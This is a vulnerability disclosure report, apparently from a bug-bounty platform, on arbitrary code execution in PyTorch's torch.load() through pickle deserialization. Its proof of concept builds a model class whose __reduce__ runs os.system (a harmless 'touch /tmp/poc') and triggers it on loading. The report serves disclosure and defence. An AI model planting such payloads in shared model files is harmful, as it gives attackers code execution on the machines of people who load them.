Arbitrary Code Execution on torch.load() Through Pickle Deserialization in pytorch_v1_3

Valid

Reported on Feb 4th 2025

PyTorch uses python’s pickle module for serialization/deserialization of models, specifically in the torch.load() and torch.save() functions. Attackers can use this to save a typical pickle deserialization payload into a PyTorch model file that gets executed on model load.

POC

Google Colab

First we save a pickle deserialization payload to a PyTorch .pth file which we can either do through pickle or like in this example where we save it using PyTorch’s model saving function:

import torch
import os

class OverwriteFile(torch.nn.Module):
    def __reduce__(self):
        return (os.system, ('touch /tmp/poc',))

# Save the malicious model
malicious_model = OverwriteFile()
torch.save(malicious_model, "malicious_model.pth")

Then as the victim we simply load the malicious model using torch.load() as we normally would:

import torch

torch.load("malicious_model.pth")

The victim will now have /tmp/poc created on their machine.

Impact

Threat actors can create PyTorch models with embedded malicious code that can give an attacker the ability to perform any action on the victim’s machine. This code is triggered immediately upon loading the model, requiring no interaction from the victim.

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

$3000

Found by

Pavlos
@psmoros